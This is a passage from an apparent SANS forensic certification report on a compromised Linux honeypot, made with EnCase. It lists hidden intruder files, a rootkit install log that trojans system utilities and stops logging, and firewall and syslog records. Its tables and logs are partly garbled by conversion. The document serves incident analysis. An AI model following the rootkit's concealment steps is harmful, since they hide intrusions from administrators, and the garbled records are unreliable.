<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:32PM</td>
<td>4af75da2abc5aa65df6615d29fd095b</td>
<td>81,920</td>
<td>81,328</td>
</tr>
<tr>
<td>275)</td>
<td>xmech.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.font-unix/.X11-pipe/src/xmech.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:32PM</td>
<td>4af75da2abc5aa65df6615d29fd095b</td>
<td>81,920</td>
<td>81,328</td>
</tr>
</tbody>
</table>
### 276) Name: randinsult.e
- **Description:** File
- **Full Path:** `/tmp/.font-unix/.X11-pipe/randfiles/randinsult.e`
- **Entry Modified:** 06/29/03 03:32:50PM
- **Last Accessed:** 06/29/03 03:32:50PM
- **Last Written:** 10/09/00 06:22:02PM
- **Hash Value:** a1b350ce4e068376627b4e9c36ebc9f7
- **Physical Size:** 4,096
- **Logical Size:** 3,982

### 277) Name: randinsult.e
- **Description:** File
- **Full Path:** `/tmp/.font-unix/.X11-pipe/randfiles/randinsult.e`
- **Entry Modified:** 06/29/03 03:32:50PM
- **Last Accessed:** 06/29/03 03:32:50PM
- **Last Written:** 10/09/00 06:22:02PM
- **Hash Value:** a1b350ce4e068376627b4e9c36ebc9f7
- **Physical Size:** 4,096
- **Logical Size:** 3,982

### 278) Name: randversions.e
- **Description:** File
- **Full Path:** `/tmp/.font-unix/.X11-pipe/randfiles/randversions.e`
- **Entry Modified:** 06/29/03 03:32:50PM
- **Last Accessed:** 06/29/03 03:32:50PM
- **Last Written:** 10/09/00 06:22:02PM
- **Hash Value:** 0b252e189020453aad18b93913e44ec3
- **Physical Size:** 2,048
- **Logical Size:** 1,465

### 279) Name: com-ons.c
- **Description:** File
- **Full Path:** `/tmp/.font-unix/.X11-pipe/src/com-ons.c`
- **Entry Modified:** 06/29/03 03:32:50PM
- **Last Accessed:** 06/29/03 03:32:50PM
- **Last Written:** 02/27/01 07:14:04AM
- **Hash Value:** daf8812cc62b784f6d6a10ef388288d7
- **Physical Size:** 28,672
- **Logical Size:** 28,470

### 280) Name: defines.h
- **Description:** File
- **Full Path:** `/tmp/.font-unix/.X11-pipe/src/defines.h`
<table>
<thead>
<tr>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>10/09/00 06:22:02PM</td>
<td>854b211a185d795497cc0a21c7778249</td>
<td>5,120</td>
<td>4,508</td>
</tr>
<tr>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>02/26/01 06:00:24PM</td>
<td>8e0b21b02c62373ed8bca9974ee10776</td>
<td>16,384</td>
<td>15,681</td>
</tr>
<tr>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>02/26/01 06:13:24PM</td>
<td>0b82e8deab893ffbb5ca121cfcf6b864</td>
<td>21,504</td>
<td>21,078</td>
</tr>
<tr>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>10/22/00 10:47:20AM</td>
<td>2fe83f9857e025c5759f45926d17a35b</td>
<td>22,528</td>
<td>22,527</td>
</tr>
<tr>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>10/09/00 06:22:02PM</td>
<td>57bdcdba9d9126a49472d85485bae729</td>
<td>10,240</td>
<td>10,190</td>
</tr>
<tr>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>57bdcdba9d9126a49472d85485bae729</td>
<td>10,240</td>
<td>10,190</td>
</tr>
<tr>
<td>Name</td>
<td>Description</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
</tr>
<tr>
<td>---------------</td>
<td>-------------</td>
<td>---------------------------------------------------------------------------</td>
<td>------------------</td>
<td>------------------</td>
<td>--------------------</td>
</tr>
<tr>
<td>cfgfile.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-\unix\X11-pipe\src\cfgfile.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:20PM</td>
</tr>
<tr>
<td>com-ons.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-\unix\X11-pipe\src\com-ons.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:22PM</td>
</tr>
<tr>
<td>socket.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-\unix\X11-pipe\src\socket.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:34PM</td>
</tr>
<tr>
<td>TODO</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-\unix\X11-pipe\TODO</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:34:10PM</td>
<td>10/09/00 06:22:02PM</td>
</tr>
<tr>
<td>Makefile</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-\unix\X11-pipe\Makefile</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:34:10PM</td>
<td>10/09/00 06:22:02PM</td>
</tr>
</tbody>
</table>
Hash Value: e452f0b4dab0676f4a2cd6e1a3abe570
Physical Size: 3,072
Logical Size: 2,147

291) Name: samba.tgz
Description: File
Full Path: /tmp/.font-unix/samba.tgz
Entry Modified: 06/29/03 03:41:42PM
Last Accessed: 06/29/03 03:41:56PM
Last Written: 04/29/03 06:48:30AM
Hash Value: 4c41dbabb341cf57e56c0394d6efc3d3
Physical Size: 13,312
Logical Size: 13,183

Log files

Log file information
292) Name: cron.1
Entry Modified: 06/29/03 04:02:05AM
Last Accessed: 06/29/03 04:02:00AM
Last Written: 06/29/03 04:02:04AM
Hash Value: f8670b0876691e1f24dde35972127642
Comment: last log entries in cron.1 - normal

Jun 29 04:01:01 rh1 CROND[10319]: (root) CMD (run-parts /etc/cron.hourly)
Jun 29 04:02:00 rh1 CROND[10321]: (root) CMD (run-parts /etc/cron.daily)
Jun 29 04:02:04 rh1 anacron[10485]: Updated timestamp for job `cron.daily' to 2003-06-29

293) Name: access_log
Entry Modified: 06/29/03 03:36:49PM
Last Accessed: 06/30/03 04:02:03AM
Last Written: 06/29/03 03:36:49PM
Hash Value: e32d45931d3dd58258ce7bb86978cd02
Comment: httpd access log

294) Name: install.log
Entry Modified: 06/29/03 03:25:20PM
Last Accessed: 06/29/03 03:25:20PM
Last Written: 06/29/03 03:25:20PM

Install log from /tmp/.s directory
Hash Value 65025494af2c14aeb979024429159fb8

Comment: Install log from /tmp/.s/

Installing
chattr: No such file or directory while trying to stat /usr/local/sbin/sshd
Shutting down kernel logger: OK
Shutting down system logger: OK
touch: getting attributes of `ps': No such file or directory
touch: getting attributes of `ls': No such file or directory
  |-ps
  PS --> failed
  |--top
  TOP --> OK
  |---pstree
  PSTREE --> failed
  |---killall
  KILLALL --> OK
  |---ls-dir-vdir
  LS DIR VDIR --> failed
  |---find
  FIND --> OK
  |---du
  DU --> OK
  |---netstat
  NETSTAT --> OK
## EnCase Computer Analysis Report

### Var partition from Logserver

#### Device
- **Evidence Number:** Var partition from logserver
- **File Path:** C:/Sans/evidence files/Var partition from logserver.E01
- **Actual Date:** 10/14/03 09:07:37 PM
- **Target Date:** 10/14/03 09:07:37 PM
- **Total Size:** 1,073,709,056 bytes (1.024.0MB)
- **Total Sectors:** 2,097,088
- **File Integrity:** Completely Verified, 0 Errors
- **EnCase Version:** 4.15
- **System Version:** Windows XP
- **Acquisition Hash:** CB51CFD7889DE261C0B94456C9D68819
- **Verify Hash:** CB51CFD7889DE261C0B94456C9D68819

#### Logging events recovered from unallocated Clusters on /var partition of Logserver.

### Logs before logging shutdown on Linux 7.3 system

<table>
<thead>
<tr>
<th>Name</th>
<th>Unallocated Clusters</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Firewall Log from log Server - before logging shutdown</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

```
Jun 29 15:04:50 192.168.1.1 id=firewall time="2003-06-29 15:04:50" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.XXX.XXX.108.64 srcport=34988 dst=XXX.XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:50 192.168.1.1 id=firewall time="2003-06-29 15:04:50" fw="GNAT-Box" pri=6 msg="FILER: 33 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:04:50 192.168.1.1 id=firewall time="2003-06-29 15:04:50" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=34989 dst=XXX.XXX.XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:51 192.168.1.1 id=firewall time="2003-06-29 15:04:51" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.XXX.108.64 srcport=34989 dst=XXX.XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:51 192.168.1.1 id=firewall time="2003-06-29 15:04:51" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=34990 dst=XXX.XXX.XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:51 192.168.1.1 id=firewall time="2003-06-29 15:04:51" fw="GNAT-Box" pri=6 msg="FILER: 35 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
```
Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 flt_type= RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35008 dst= XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 msg="FILT ER: 53 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt
Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=4 flt_type= RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35008 dst= XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 flt_type= RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35009 dst= XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 msg="FILT ER: 54 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt
Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=4 flt_type= RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35009 dst= XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 flt_type= RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35010 dst= XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 msg="FILT ER: 55 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt
Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=4 flt_type= RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35010 dst= XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:57 192.168.1.1 id=firewall time="2003-06-29 15:04:57" fw="GNAT-Box" pri=6 flt_type= RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35011 dst= XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:57 192.168.1.1 id=firewall time="2003-06-29 15:04:57" fw="GNAT-Box" pri=6 msg="FILT ER: 56 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt
Jun 29 15:04:57 192.168.1.1 id=firewall time="2003-06-29 15:04:57" fw="GNAT-Box" pri=4 flt_type= RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35011 dst= XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:57 192.168.1.1 id=firewall time="2003-06-29 15:04:57" fw="GNAT-Box" pri=6 flt_type= RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35012 dst= XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:57 192.168.1.1 id=firewall time="2003-06-29 15:04:57" fw="GNAT-Box" pri=6 msg="FILT ER: 57 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt
Jun 29 15:04:57 192.168.1.1 id=firewall time="2003-06-29 15:04:57" fw="GNAT-Box" pri=4 flt_type= RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35012 dst= XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:57 192.168.1.1 id=firewall time="2003-06-29 15:04:57" fw="GNAT-Box" pri=6 flt_type= RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35013 dst= XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:57 192.168.1.1 id=firewall time="2003-06-29 15:04:57" fw="GNAT-Box" pri=6 msg="FILT ER: 58 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt
Jun 29 15:04:57 192.168.1.1 id=firewall time="2003-06-29 15:04:57" fw="GNAT-Box" pri=4 flt_type= RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35013 dst= XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:57 192.168.1.1 id=firewall time="2003-06-29 15:04:57" fw="GNAT-Box" pri=6 flt_type= RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35014 dst= XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:57 192.168.1.1 id=firewall time="2003-06-29 15:04:57" fw="GNAT-Box" pri=6 msg="FILT ER: 60 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt
Jun 29 15:04:58 192.168.1.1 id=firewall time="2003-06-29 15:04:58" fw="GNAT-Box" pri=6 flt_type= RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35015 dst= XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:58 192.168.1.1 id=firewall time="2003-06-29 15:04:58" fw="GNAT-Box" pri=6 msg="FILT ER: 61 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt
RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35059 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:04" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35060 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:04" fw="GNAT-Box" pri=6 msg="FILT ER: 107 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx type=mgmt"
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:04" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35061 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:04" fw="GNAT-Box" pri=6 msg="FILT ER: 108 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx type=mgmt"
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:04" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35062 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:05" fw="GNAT-Box" pri=6 msg="FILT ER: 109 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx type=mgmt"
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:05" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35063 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:05" fw="GNAT-Box" pri=6 msg="FILT ER: 110 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx type=mgmt"
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:05" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35064 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:05 192.168.1.1 id=firewall time="2003-06-29 15:19:05" fw="GNAT-Box" pri=6 msg="FILT ER: 111 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx type=mgmt"
Jun 29 15:19:05 192.168.1.1 id=firewall time="2003-06-29 15:19:05" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Received RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35065 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:05 192.168.1.1 id=firewall time="2003-06-29 15:19:05" fw="GNAT-Box" pri=6 msg="FILT ER: 112 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx type=mgmt"
Jun 29 15:19:05 192.168.1.1 id=firewall time="2003-06-29 15:19:05" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Received RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35066 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:05 192.168.1.1 id=firewall time="2003-06-29 15:19:05" fw="GNAT-Box" pri=6 msg="FILT ER: 113 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx type=mgmt"
Jun 29 15:19:05 192.168.1.1 id=firewall time="2003-06-29 15:19:05" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Received RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35067 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:05 192.168.1.1 id=firewall time="2003-06-29 15:19:05" fw="GNAT-Box" pri=6 msg="FILT ER: 114 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx type=mgmt"
Jun 29 15:19:05 192.168.1.1 id=firewall time="2003-06-29 15:19:05" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Received RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35068 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:05 192.168.1.1 id=firewall time="2003-06-29 15:19:05" fw="GNAT-Box" pri=6 msg="FILT ER: 115 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx type=mgmt"
Jun 29 15:19:06 192.168.1.1 id=firewall time="2003-06-29 15:19:06" fw="GNAT-Box" prl=6 msg="FILT ER: 115 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=msgmt
Jun 29 15:19:06 192.168.1.1 id=firewall time="2003-06-29 15:19:06" fw="GNAT-Box" prl=4 flt_type=3 rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35076 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:07 192.168.1.1 id=firewall time="2003-06-29 15:19:07" fw="GNAT-Box" prl=6 msg="RAFT flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35076 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:07 192.168.1.1 id=firewall time="2003-06-29 15:19:07" fw="GNAT-Box" prl=4 flt_type=3 rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35072 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:07 192.168.1.1 id=firewall time="2003-06-29 15:19:07" fw="GNAT-Box" prl=6 msg="RAFT flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35072 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:07 192.168.1.1 id=firewall time="2003-06-29 15:19:07" fw="GNAT-Box" prl=6 msg="FILT ER: 117 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=msgmt
Jun 29 15:19:07 192.168.1.1 id=firewall time="2003-06-29 15:19:07" fw="GNAT-Box" prl=4 flt_type=3 rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35074 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:10 192.168.1.1 id=firewall time="2003-06-29 15:19:10" fw="GNAT-Box" prl=6 msg="FILT ER: 118 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=msgmt
Jun 29 15:19:10 192.168.1.1 id=firewall time="2003-06-29 15:19:10" fw="GNAT-Box" prl=4 flt_type=3 rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35074 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:12 192.168.1.1 id=firewall time="2003-06-29 15:19:12" fw="GNAT-Box" prl=6 msg="FILT ER: 119 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=msgmt
Jun 29 15:19:12 192.168.1.1 id=firewall time="2003-06-29 15:19:12" fw="GNAT-Box" prl=4 flt_type=3 rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35074 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:08 192.168.1.1 id=firewall time="2003-06-29 15:19:08" fw="GNAT-Box" prl=6 msg="FILT ER: 120 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=msgmt
Jun 29 15:19:08 192.168.1.1 id=firewall time="2003-06-29 15:19:08" fw="GNAT-Box" prl=4 flt_type=3 rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35074 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:08 192.168.1.1 id=firewall time="2003-06-29 15:19:08" fw="GNAT-Box" prl=6 msg="FILT ER: 121 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=msgmt
Jun 29 15:19:08 192.168.1.1 id=firewall time="2003-06-29 15:19:08" fw="GNAT-Box" prl=4 flt_type=3 rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35074 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:08 192.168.1.1 id=firewall time="2003-06-29 15:19:08" fw="GNAT-Box" prl=6 msg="FILT ER: 122 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=msgmt
Jun 29 15:19:08 192.168.1.1 id=firewall time="2003-06-29 15:19:08" fw="GNAT-Box" prl=4 flt_type=3 rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35075 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:08 192.168.1.1 id=firewall time="2003-06-29 15:19:08" fw="GNAT-Box" prl=6 msg="FILT ER: 123 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=msgmt
Jun 29 15:19:08 192.168.1.1 id=firewall time="2003-06-29 15:19:08" fw="GNAT-Box" prl=4 flt_type=3 rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35076 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
EnCase Computer Analysis Report

Sans GCFA Cert Assignment

Logs showing syslog being shutdown on Linux 7.3 system

296)
Name
Unallocated Clusters

Entry Modified
Last Accessed
Last Written
Hash Value

Comment: Victim Logs from log Server - Syslog shutdown

Jun 29 15:20:54 192.168.2.15 kernel: request_module[net-pf-14]: waitpid(16002,...) failed, errno 1
Jun 29 15:20:57 192.168.2.15 su[16004]: session opened for user root by (uid=0)
Jun 29 15:21:13 192.168.2.15 exiting on signal 15
Logs after logging shutdown on Linux 7.3 system

Name: Unallocated Clusters
Entry Modified: Last Accessed: Last Written: Hash Value

Comment: Firewall logs from log Server - After Syslog shutdown

Jun 29 15:20:33 192.168.1.1 id=firewall time=2003-06-29 15:20:33 ESTER: 5 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgmt
Jun 29 15:20:33 192.168.1.1 id=firewall time=2003-06-29 15:20:33 ESTER: 3 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgmt
Jun 29 15:20:33 192.168.1.1 id=firewall time=2003-06-29 15:20:33 ESTER: 2 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgmt
Jun 29 15:20:33 192.168.1.1 id=firewall time=2003-06-29 15:20:33 ESTER: 1 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgmt
Jun 29 15:20:33 192.168.1.1 id=firewall time=2003-06-29 15:20:33 ESTER: 0 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgmt

---

Hash Value:

Name | Logs
--- | ---
Sans GCFA Cert Assignment | EnCase Computer Analysis Report

Comment: EnCase Computer Analysis Report - Sans GCFA Cert Assignment

Page 325

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
ER: 142 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx type=mgmt
Jun 29 15:23:24 192.168.1.1 id=firewall time="2003-06-29 15:23:24" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35095 ds t=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:24 192.168.1.1 id=firewall time="2003-06-29 15:23:24" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35096 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:24 192.168.1.1 id=firewall time="2003-06-29 15:23:24" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35096 ds t=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:24 192.168.1.1 id=firewall time="2003-06-29 15:23:24" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35098 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:24 192.168.1.1 id=firewall time="2003-06-29 15:23:24" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35098 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:24 192.168.1.1 id=firewall time="2003-06-29 15:23:24" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35100 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
